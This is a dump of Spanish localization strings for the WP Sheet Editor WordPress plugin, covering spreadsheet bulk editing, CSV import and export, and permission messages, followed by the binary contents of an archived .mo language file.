la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-es_UY.mo000064400000640304147600365160016725 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% 